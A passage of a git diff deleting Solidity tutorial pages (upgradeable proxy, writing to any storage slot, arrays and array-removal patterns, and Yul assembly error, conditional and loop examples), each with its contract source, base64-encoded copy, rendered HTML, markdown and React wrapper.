` - -export default html diff --git a/src/pages/app/upgradeable-proxy/index.md b/src/pages/app/upgradeable-proxy/index.md deleted file mode 100644 index bf1820187..000000000 --- a/src/pages/app/upgradeable-proxy/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Upgradeable Proxy -version: 0.8.20 -description: Example of upgradeable proxy -keywords: [app, application, delegatecall, upgradeable, proxy] ---- - -Example of upgradeable proxy contract. Never use this in production. - -This example shows - -- how to use `delegatecall` and return data when `fallback` is called. -- how to store address of `admin` and `implementation` in a specific slot. - -```solidity -{{{UpgradeableProxy}}} -``` diff --git a/src/pages/app/upgradeable-proxy/index.tsx b/src/pages/app/upgradeable-proxy/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/upgradeable-proxy/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/write-to-any-slot/Slot.sol b/src/pages/app/write-to-any-slot/Slot.sol deleted file mode 100644 index feb2da0a1..000000000 --- a/src/pages/app/write-to-any-slot/Slot.sol +++ /dev/null @@ -1,32 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -library StorageSlot { - // Wrap address in a struct so that it can be passed around as a storage pointer - struct AddressSlot { - address value; - } - - function getAddressSlot( - bytes32 slot - ) internal pure returns (AddressSlot storage pointer) { - assembly { - // Get the pointer to AddressSlot stored at slot - pointer.slot := slot - } - } -} - -contract TestSlot { - bytes32 public constant TEST_SLOT = keccak256("TEST_SLOT"); - - function write(address _addr) external { - StorageSlot.AddressSlot storage data = StorageSlot.getAddressSlot(TEST_SLOT); - data.value = _addr; - } - - function get() external view returns (address) { - StorageSlot.AddressSlot storage data = StorageSlot.getAddressSlot(TEST_SLOT); - return data.value; - } -} diff --git a/src/pages/app/write-to-any-slot/index.html.ts b/src/pages/app/write-to-any-slot/index.html.ts deleted file mode 100644 index 12ab5512a..000000000 --- a/src/pages/app/write-to-any-slot/index.html.ts +++ /dev/null @@ -1,53 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Write to Any Slot" -export const description = "Write to Any Slot" - -export const keywords = ["app", "application", "write", "any", "slot", "storage"] - -export const codes = [ - { - fileName: "Slot.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmxpYnJhcnkgU3RvcmFnZVNsb3QgewogICAgLy8gV3JhcCBhZGRyZXNzIGluIGEgc3RydWN0IHNvIHRoYXQgaXQgY2FuIGJlIHBhc3NlZCBhcm91bmQgYXMgYSBzdG9yYWdlIHBvaW50ZXIKICAgIHN0cnVjdCBBZGRyZXNzU2xvdCB7CiAgICAgICAgYWRkcmVzcyB2YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBnZXRBZGRyZXNzU2xvdCgKICAgICAgICBieXRlczMyIHNsb3QKICAgICkgaW50ZXJuYWwgcHVyZSByZXR1cm5zIChBZGRyZXNzU2xvdCBzdG9yYWdlIHBvaW50ZXIpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIEdldCB0aGUgcG9pbnRlciB0byBBZGRyZXNzU2xvdCBzdG9yZWQgYXQgc2xvdAogICAgICAgICAgICBwb2ludGVyLnNsb3QgOj0gc2xvdAogICAgICAgIH0KICAgIH0KfQoKY29udHJhY3QgVGVzdFNsb3QgewogICAgYnl0ZXMzMiBwdWJsaWMgY29uc3RhbnQgVEVTVF9TTE9UID0ga2VjY2FrMjU2KCJURVNUX1NMT1QiKTsKCiAgICBmdW5jdGlvbiB3cml0ZShhZGRyZXNzIF9hZGRyKSBleHRlcm5hbCB7CiAgICAgICAgU3RvcmFnZVNsb3QuQWRkcmVzc1Nsb3Qgc3RvcmFnZSBkYXRhID0gU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoVEVTVF9TTE9UKTsKICAgICAgICBkYXRhLnZhbHVlID0gX2FkZHI7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzKSB7CiAgICAgICAgU3RvcmFnZVNsb3QuQWRkcmVzc1Nsb3Qgc3RvcmFnZSBkYXRhID0gU3RvcmFnZVNsb3QuZ2V0QWRkcmVzc1Nsb3QoVEVTVF9TTE9UKTsKICAgICAgICByZXR1cm4gZGF0YS52YWx1ZTsKICAgIH0KfQo=", - }, -] - -const html = `

Solidity storage is like an array of length 2^256. -Each slot in the array can store 32 bytes.

-

Order of declaration and the type of state variables define which slots it will use.

-

However using assembly, you can write to any slot.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-library StorageSlot {
-    // Wrap address in a struct so that it can be passed around as a storage pointer
-    struct AddressSlot {
-        address value;
-    }
-
-    function getAddressSlot(
-        bytes32 slot
-    ) internal pure returns (AddressSlot storage pointer) {
-        assembly {
-            // Get the pointer to AddressSlot stored at slot
-            pointer.slot := slot
-        }
-    }
-}
-
-contract TestSlot {
-    bytes32 public constant TEST_SLOT = keccak256("TEST_SLOT");
-
-    function write(address _addr) external {
-        StorageSlot.AddressSlot storage data = StorageSlot.getAddressSlot(TEST_SLOT);
-        data.value = _addr;
-    }
-
-    function get() external view returns (address) {
-        StorageSlot.AddressSlot storage data = StorageSlot.getAddressSlot(TEST_SLOT);
-        return data.value;
-    }
-}
-
` - -export default html diff --git a/src/pages/app/write-to-any-slot/index.md b/src/pages/app/write-to-any-slot/index.md deleted file mode 100644 index 42acafce3..000000000 --- a/src/pages/app/write-to-any-slot/index.md +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Write to Any Slot -version: 0.8.20 -description: Write to Any Slot -keywords: [app, application, write, any, slot, storage] ---- - -Solidity storage is like an array of length 2^256. -Each slot in the array can store 32 bytes. - -Order of declaration and the type of state variables define which slots it will use. - -However using assembly, you can write to any slot. - -```solidity -{{{Slot}}} -``` diff --git a/src/pages/app/write-to-any-slot/index.tsx b/src/pages/app/write-to-any-slot/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/write-to-any-slot/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/array/Array.sol b/src/pages/array/Array.sol deleted file mode 100644 index 762f1f4dd..000000000 --- a/src/pages/array/Array.sol +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Array { - // Several ways to initialize an array - uint[] public arr; - uint[] public arr2 = [1, 2, 3]; - // Fixed sized array, all elements initialize to 0 - uint[10] public myFixedSizeArr; - - function get(uint i) public view returns (uint) { - return arr[i]; - } - - // Solidity can return the entire array. - // But this function should be avoided for - // arrays that can grow indefinitely in length. - function getArr() public view returns (uint[] memory) { - return arr; - } - - function push(uint i) public { - // Append to array - // This will increase the array length by 1. - arr.push(i); - } - - function pop() public { - // Remove last element from array - // This will decrease the array length by 1 - arr.pop(); - } - - function getLength() public view returns (uint) { - return arr.length; - } - - function remove(uint index) public { - // Delete does not change the array length. - // It resets the value at index to it's default value, - // in this case 0 - delete arr[index]; - } - - function examples() external { - // create array in memory, only fixed size can be created - uint[] memory a = new uint[](5); - } -} diff --git a/src/pages/array/ArrayRemoveByShifting.sol b/src/pages/array/ArrayRemoveByShifting.sol deleted file mode 100644 index ed767d83f..000000000 --- a/src/pages/array/ArrayRemoveByShifting.sol +++ /dev/null @@ -1,36 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract ArrayRemoveByShifting { - // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3] - // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6] - // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6] - // [1] -- remove(0) --> [1] --> [] - - uint[] public arr; - - function remove(uint _index) public { - require(_index < arr.length, "index out of bound"); - - for (uint i = _index; i < arr.length - 1; i++) { - arr[i] = arr[i + 1]; - } - arr.pop(); - } - - function test() external { - arr = [1, 2, 3, 4, 5]; - remove(2); - // [1, 2, 4, 5] - assert(arr[0] == 1); - assert(arr[1] == 2); - assert(arr[2] == 4); - assert(arr[3] == 5); - assert(arr.length == 4); - - arr = [1]; - remove(0); - // [] - assert(arr.length == 0); - } -} diff --git a/src/pages/array/ArrayReplaceFromEnd.sol b/src/pages/array/ArrayReplaceFromEnd.sol deleted file mode 100644 index f824a32dd..000000000 --- a/src/pages/array/ArrayReplaceFromEnd.sol +++ /dev/null @@ -1,33 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract ArrayReplaceFromEnd { - uint[] public arr; - - // Deleting an element creates a gap in the array. - // One trick to keep the array compact is to - // move the last element into the place to delete. - function remove(uint index) public { - // Move the last element into the place to delete - arr[index] = arr[arr.length - 1]; - // Remove the last element - arr.pop(); - } - - function test() public { - arr = [1, 2, 3, 4]; - - remove(1); - // [1, 4, 3] - assert(arr.length == 3); - assert(arr[0] == 1); - assert(arr[1] == 4); - assert(arr[2] == 3); - - remove(2); - // [1, 4] - assert(arr.length == 2); - assert(arr[0] == 1); - assert(arr[1] == 4); - } -} diff --git a/src/pages/array/index.html.ts b/src/pages/array/index.html.ts deleted file mode 100644 index 5d53eb61a..000000000 --- a/src/pages/array/index.html.ts +++ /dev/null @@ -1,147 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Array" -export const description = "Learn about arrays in Solidity" - -export const keywords = ["data", "variable", "variables", "array", "arrays"] - -export const codes = [ - { - fileName: "Array.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5IHsKICAgIC8vIFNldmVyYWwgd2F5cyB0byBpbml0aWFsaXplIGFuIGFycmF5CiAgICB1aW50W10gcHVibGljIGFycjsKICAgIHVpbnRbXSBwdWJsaWMgYXJyMiA9IFsxLCAyLCAzXTsKICAgIC8vIEZpeGVkIHNpemVkIGFycmF5LCBhbGwgZWxlbWVudHMgaW5pdGlhbGl6ZSB0byAwCiAgICB1aW50WzEwXSBwdWJsaWMgbXlGaXhlZFNpemVBcnI7CgogICAgZnVuY3Rpb24gZ2V0KHVpbnQgaSkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhcnJbaV07CiAgICB9CgogICAgLy8gU29saWRpdHkgY2FuIHJldHVybiB0aGUgZW50aXJlIGFycmF5LgogICAgLy8gQnV0IHRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIGF2b2lkZWQgZm9yCiAgICAvLyBhcnJheXMgdGhhdCBjYW4gZ3JvdyBpbmRlZmluaXRlbHkgaW4gbGVuZ3RoLgogICAgZnVuY3Rpb24gZ2V0QXJyKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludFtdIG1lbW9yeSkgewogICAgICAgIHJldHVybiBhcnI7CiAgICB9CgogICAgZnVuY3Rpb24gcHVzaCh1aW50IGkpIHB1YmxpYyB7CiAgICAgICAgLy8gQXBwZW5kIHRvIGFycmF5CiAgICAgICAgLy8gVGhpcyB3aWxsIGluY3JlYXNlIHRoZSBhcnJheSBsZW5ndGggYnkgMS4KICAgICAgICBhcnIucHVzaChpKTsKICAgIH0KCiAgICBmdW5jdGlvbiBwb3AoKSBwdWJsaWMgewogICAgICAgIC8vIFJlbW92ZSBsYXN0IGVsZW1lbnQgZnJvbSBhcnJheQogICAgICAgIC8vIFRoaXMgd2lsbCBkZWNyZWFzZSB0aGUgYXJyYXkgbGVuZ3RoIGJ5IDEKICAgICAgICBhcnIucG9wKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0TGVuZ3RoKCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBhcnIubGVuZ3RoOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZSh1aW50IGluZGV4KSBwdWJsaWMgewogICAgICAgIC8vIERlbGV0ZSBkb2VzIG5vdCBjaGFuZ2UgdGhlIGFycmF5IGxlbmd0aC4KICAgICAgICAvLyBJdCByZXNldHMgdGhlIHZhbHVlIGF0IGluZGV4IHRvIGl0J3MgZGVmYXVsdCB2YWx1ZSwKICAgICAgICAvLyBpbiB0aGlzIGNhc2UgMAogICAgICAgIGRlbGV0ZSBhcnJbaW5kZXhdOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4YW1wbGVzKCkgZXh0ZXJuYWwgewogICAgICAgIC8vIGNyZWF0ZSBhcnJheSBpbiBtZW1vcnksIG9ubHkgZml4ZWQgc2l6ZSBjYW4gYmUgY3JlYXRlZAogICAgICAgIHVpbnRbXSBtZW1vcnkgYSA9IG5ldyB1aW50W10oNSk7CiAgICB9Cn0K", - }, - { - fileName: "ArrayRemoveByShifting.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5UmVtb3ZlQnlTaGlmdGluZyB7CiAgICAvLyBbMSwgMiwgM10gLS0gcmVtb3ZlKDEpIC0tPiBbMSwgMywgM10gLS0+IFsxLCAzXQogICAgLy8gWzEsIDIsIDMsIDQsIDUsIDZdIC0tIHJlbW92ZSgyKSAtLT4gWzEsIDIsIDQsIDUsIDYsIDZdIC0tPiBbMSwgMiwgNCwgNSwgNl0KICAgIC8vIFsxLCAyLCAzLCA0LCA1LCA2XSAtLSByZW1vdmUoMCkgLS0+IFsyLCAzLCA0LCA1LCA2LCA2XSAtLT4gWzIsIDMsIDQsIDUsIDZdCiAgICAvLyBbMV0gLS0gcmVtb3ZlKDApIC0tPiBbMV0gLS0+IFtdCgogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQgX2luZGV4KSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoX2luZGV4IDwgYXJyLmxlbmd0aCwgImluZGV4IG91dCBvZiBib3VuZCIpOwoKICAgICAgICBmb3IgKHVpbnQgaSA9IF9pbmRleDsgaSA8IGFyci5sZW5ndGggLSAxOyBpKyspIHsKICAgICAgICAgICAgYXJyW2ldID0gYXJyW2kgKyAxXTsKICAgICAgICB9CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBleHRlcm5hbCB7CiAgICAgICAgYXJyID0gWzEsIDIsIDMsIDQsIDVdOwogICAgICAgIHJlbW92ZSgyKTsKICAgICAgICAvLyBbMSwgMiwgNCwgNV0KICAgICAgICBhc3NlcnQoYXJyWzBdID09IDEpOwogICAgICAgIGFzc2VydChhcnJbMV0gPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclsyXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzNdID09IDUpOwogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDQpOwoKICAgICAgICBhcnIgPSBbMV07CiAgICAgICAgcmVtb3ZlKDApOwogICAgICAgIC8vIFtdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMCk7CiAgICB9Cn0K", - }, - { - fileName: "ArrayReplaceFromEnd.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFycmF5UmVwbGFjZUZyb21FbmQgewogICAgdWludFtdIHB1YmxpYyBhcnI7CgogICAgLy8gRGVsZXRpbmcgYW4gZWxlbWVudCBjcmVhdGVzIGEgZ2FwIGluIHRoZSBhcnJheS4KICAgIC8vIE9uZSB0cmljayB0byBrZWVwIHRoZSBhcnJheSBjb21wYWN0IGlzIHRvCiAgICAvLyBtb3ZlIHRoZSBsYXN0IGVsZW1lbnQgaW50byB0aGUgcGxhY2UgdG8gZGVsZXRlLgogICAgZnVuY3Rpb24gcmVtb3ZlKHVpbnQgaW5kZXgpIHB1YmxpYyB7CiAgICAgICAgLy8gTW92ZSB0aGUgbGFzdCBlbGVtZW50IGludG8gdGhlIHBsYWNlIHRvIGRlbGV0ZQogICAgICAgIGFycltpbmRleF0gPSBhcnJbYXJyLmxlbmd0aCAtIDFdOwogICAgICAgIC8vIFJlbW92ZSB0aGUgbGFzdCBlbGVtZW50CiAgICAgICAgYXJyLnBvcCgpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3QoKSBwdWJsaWMgewogICAgICAgIGFyciA9IFsxLCAyLCAzLCA0XTsKCiAgICAgICAgcmVtb3ZlKDEpOwogICAgICAgIC8vIFsxLCA0LCAzXQogICAgICAgIGFzc2VydChhcnIubGVuZ3RoID09IDMpOwogICAgICAgIGFzc2VydChhcnJbMF0gPT0gMSk7CiAgICAgICAgYXNzZXJ0KGFyclsxXSA9PSA0KTsKICAgICAgICBhc3NlcnQoYXJyWzJdID09IDMpOwoKICAgICAgICByZW1vdmUoMik7CiAgICAgICAgLy8gWzEsIDRdCiAgICAgICAgYXNzZXJ0KGFyci5sZW5ndGggPT0gMik7CiAgICAgICAgYXNzZXJ0KGFyclswXSA9PSAxKTsKICAgICAgICBhc3NlcnQoYXJyWzFdID09IDQpOwogICAgfQp9Cg==", - }, -] - -const html = `

Array can have a compile-time fixed size or a dynamic size.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Array {
-    // Several ways to initialize an array
-    uint[] public arr;
-    uint[] public arr2 = [1, 2, 3];
-    // Fixed sized array, all elements initialize to 0
-    uint[10] public myFixedSizeArr;
-
-    function get(uint i) public view returns (uint) {
-        return arr[i];
-    }
-
-    // Solidity can return the entire array.
-    // But this function should be avoided for
-    // arrays that can grow indefinitely in length.
-    function getArr() public view returns (uint[] memory) {
-        return arr;
-    }
-
-    function push(uint i) public {
-        // Append to array
-        // This will increase the array length by 1.
-        arr.push(i);
-    }
-
-    function pop() public {
-        // Remove last element from array
-        // This will decrease the array length by 1
-        arr.pop();
-    }
-
-    function getLength() public view returns (uint) {
-        return arr.length;
-    }
-
-    function remove(uint index) public {
-        // Delete does not change the array length.
-        // It resets the value at index to it's default value,
-        // in this case 0
-        delete arr[index];
-    }
-
-    function examples() external {
-        // create array in memory, only fixed size can be created
-        uint[] memory a = new uint[](5);
-    }
-}
-

Examples of removing array element

-

Remove array element by shifting elements from right to left

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract ArrayRemoveByShifting {
-    // [1, 2, 3] -- remove(1) --> [1, 3, 3] --> [1, 3]
-    // [1, 2, 3, 4, 5, 6] -- remove(2) --> [1, 2, 4, 5, 6, 6] --> [1, 2, 4, 5, 6]
-    // [1, 2, 3, 4, 5, 6] -- remove(0) --> [2, 3, 4, 5, 6, 6] --> [2, 3, 4, 5, 6]
-    // [1] -- remove(0) --> [1] --> []
-
-    uint[] public arr;
-
-    function remove(uint _index) public {
-        require(_index < arr.length, "index out of bound");
-
-        for (uint i = _index; i < arr.length - 1; i++) {
-            arr[i] = arr[i + 1];
-        }
-        arr.pop();
-    }
-
-    function test() external {
-        arr = [1, 2, 3, 4, 5];
-        remove(2);
-        // [1, 2, 4, 5]
-        assert(arr[0] == 1);
-        assert(arr[1] == 2);
-        assert(arr[2] == 4);
-        assert(arr[3] == 5);
-        assert(arr.length == 4);
-
-        arr = [1];
-        remove(0);
-        // []
-        assert(arr.length == 0);
-    }
-}
-

Remove array element by copying last element into to the place to remove

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract ArrayReplaceFromEnd {
-    uint[] public arr;
-
-    // Deleting an element creates a gap in the array.
-    // One trick to keep the array compact is to
-    // move the last element into the place to delete.
-    function remove(uint index) public {
-        // Move the last element into the place to delete
-        arr[index] = arr[arr.length - 1];
-        // Remove the last element
-        arr.pop();
-    }
-
-    function test() public {
-        arr = [1, 2, 3, 4];
-
-        remove(1);
-        // [1, 4, 3]
-        assert(arr.length == 3);
-        assert(arr[0] == 1);
-        assert(arr[1] == 4);
-        assert(arr[2] == 3);
-
-        remove(2);
-        // [1, 4]
-        assert(arr.length == 2);
-        assert(arr[0] == 1);
-        assert(arr[1] == 4);
-    }
-}
-
` - -export default html diff --git a/src/pages/array/index.md b/src/pages/array/index.md deleted file mode 100644 index 8af6f4bbc..000000000 --- a/src/pages/array/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Array -version: 0.8.20 -description: Learn about arrays in Solidity -keywords: [data, variable, variables, array, arrays] ---- - -Array can have a compile-time fixed size or a dynamic size. - -```solidity -{{{Array}}} -``` - -### Examples of removing array element - -Remove array element by shifting elements from right to left - -```solidity -{{{ArrayRemoveByShifting}}} -``` - -Remove array element by copying last element into to the place to remove - -```solidity -{{{ArrayReplaceFromEnd}}} -``` diff --git a/src/pages/array/index.tsx b/src/pages/array/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/array/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/assembly-error/AssemblyError.sol b/src/pages/assembly-error/AssemblyError.sol deleted file mode 100644 index cc98722ba..000000000 --- a/src/pages/assembly-error/AssemblyError.sol +++ /dev/null @@ -1,13 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AssemblyError { - function yul_revert(uint x) public pure { - assembly { - // revert(p, s) - end execution - // revert state changes - // return data mem[p…(p+s)) - if gt(x, 10) { revert(0, 0) } - } - } -} diff --git a/src/pages/assembly-error/index.html.ts b/src/pages/assembly-error/index.html.ts deleted file mode 100644 index 2fc92c3c4..000000000 --- a/src/pages/assembly-error/index.html.ts +++ /dev/null @@ -1,31 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Assembly Error" -export const description = "Example of error in assembly" - -export const keywords = ["assembly", "yul", "error", "revert"] - -export const codes = [ - { - fileName: "AssemblyError.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5RXJyb3IgewogICAgZnVuY3Rpb24geXVsX3JldmVydCh1aW50IHgpIHB1YmxpYyBwdXJlIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIC8vIHJldmVydChwLCBzKSAtIGVuZCBleGVjdXRpb24KICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV2ZXJ0IHN0YXRlIGNoYW5nZXMKICAgICAgICAgICAgLy8gICAgICAgICAgICAgICAgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgaWYgZ3QoeCwgMTApIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICB9CiAgICB9Cn0K", - }, -] - -const html = `

Example of error in assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AssemblyError {
-    function yul_revert(uint x) public pure {
-        assembly {
-            // revert(p, s) - end execution
-            //                revert state changes
-            //                return data mem[p…(p+s))
-            if gt(x, 10) { revert(0, 0) }
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/assembly-error/index.md b/src/pages/assembly-error/index.md deleted file mode 100644 index c22266058..000000000 --- a/src/pages/assembly-error/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Assembly Error -version: 0.8.20 -description: Example of error in assembly -keywords: [assembly, yul, error, revert] ---- - -Example of error in `assembly` - -```solidity -{{{AssemblyError}}} -``` diff --git a/src/pages/assembly-error/index.tsx b/src/pages/assembly-error/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/assembly-error/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/assembly-if/AssemblyIf.sol b/src/pages/assembly-if/AssemblyIf.sol deleted file mode 100644 index 1f9d688a4..000000000 --- a/src/pages/assembly-if/AssemblyIf.sol +++ /dev/null @@ -1,29 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AssemblyIf { - function yul_if(uint x) public pure returns (uint z) { - assembly { - // if condition = 1 { code } - // no else - // if 0 { z := 99 } - // if 1 { z := 99 } - if lt(x, 10) { z := 99 } - } - } - - function yul_switch(uint x) public pure returns (uint z) { - assembly { - switch x - case 1 { - z := 10 - } - case 2 { - z := 20 - } - default { - z := 0 - } - } - } -} diff --git a/src/pages/assembly-if/index.html.ts b/src/pages/assembly-if/index.html.ts deleted file mode 100644 index c5add7d4a..000000000 --- a/src/pages/assembly-if/index.html.ts +++ /dev/null @@ -1,47 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Assembly Conditional Statements" -export const description = "Example of conditional statements in assembly" - -export const keywords = ["assembly", "yul", "if", "switch"] - -export const codes = [ - { - fileName: "AssemblyIf.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEFzc2VtYmx5SWYgewogICAgZnVuY3Rpb24geXVsX2lmKHVpbnQgeCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludCB6KSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICAvLyBpZiBjb25kaXRpb24gPSAxIHsgY29kZSB9CiAgICAgICAgICAgIC8vIG5vIGVsc2UKICAgICAgICAgICAgLy8gaWYgMCB7IHogOj0gOTkgfQogICAgICAgICAgICAvLyBpZiAxIHsgeiA6PSA5OSB9CiAgICAgICAgICAgIGlmIGx0KHgsIDEwKSB7IHogOj0gOTkgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgZnVuY3Rpb24geXVsX3N3aXRjaCh1aW50IHgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgc3dpdGNoIHgKICAgICAgICAgICAgY2FzZSAxIHsKICAgICAgICAgICAgICAgIHogOj0gMTAKICAgICAgICAgICAgfQogICAgICAgICAgICBjYXNlIDIgewogICAgICAgICAgICAgICAgeiA6PSAyMAogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgeiA6PSAwCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K", - }, -] - -const html = `

Example of conditional statements in assembly

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract AssemblyIf {
-    function yul_if(uint x) public pure returns (uint z) {
-        assembly {
-            // if condition = 1 { code }
-            // no else
-            // if 0 { z := 99 }
-            // if 1 { z := 99 }
-            if lt(x, 10) { z := 99 }
-        }
-    }
-    
-    function yul_switch(uint x) public pure returns (uint z) {
-        assembly {
-            switch x
-            case 1 {
-                z := 10
-            }
-            case 2 {
-                z := 20
-            }
-            default {
-                z := 0
-            }
-        }
-    }
-}
-
` - -export default html diff --git a/src/pages/assembly-if/index.md b/src/pages/assembly-if/index.md deleted file mode 100644 index e7d4e72b1..000000000 --- a/src/pages/assembly-if/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Assembly Conditional Statements -version: 0.8.20 -description: Example of conditional statements in assembly -keywords: [assembly, yul, if, switch] ---- - -Example of conditional statements in `assembly` - -```solidity -{{{AssemblyIf}}} -``` diff --git a/src/pages/assembly-if/index.tsx b/src/pages/assembly-if/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/assembly-if/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/assembly-loop/AssemblyLoop.sol b/src/pages/assembly-loop/AssemblyLoop.sol deleted file mode 100644 index 0e79e5df6..000000000 --- a/src/pages/assembly-loop/AssemblyLoop.sol +++ /dev/null @@ -1,22 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract AssemblyLoop { - function yul_for_loop() public pure returns (uint z) { - assembly { - for { let i := 0 } lt(i, 10) { i := add(i, 1) } { - z := add(z, 1) - } - } - } - - function yul_while_loop() public pure returns (uint z) { - assembly { - let i := 0 - for {} lt(i, 5) {} { - i := add(i, 1) - z := add(z, 1) - } - } - } -} \ No newline at end of file diff --git a/src/pages/assembly-loop/index.html.ts b/src/pages/assembly-loop/index.html.ts deleted file mode 100644 index 0086d3a06..000000000 --- a/src/pages/assembly-loop/index.html.ts +++ 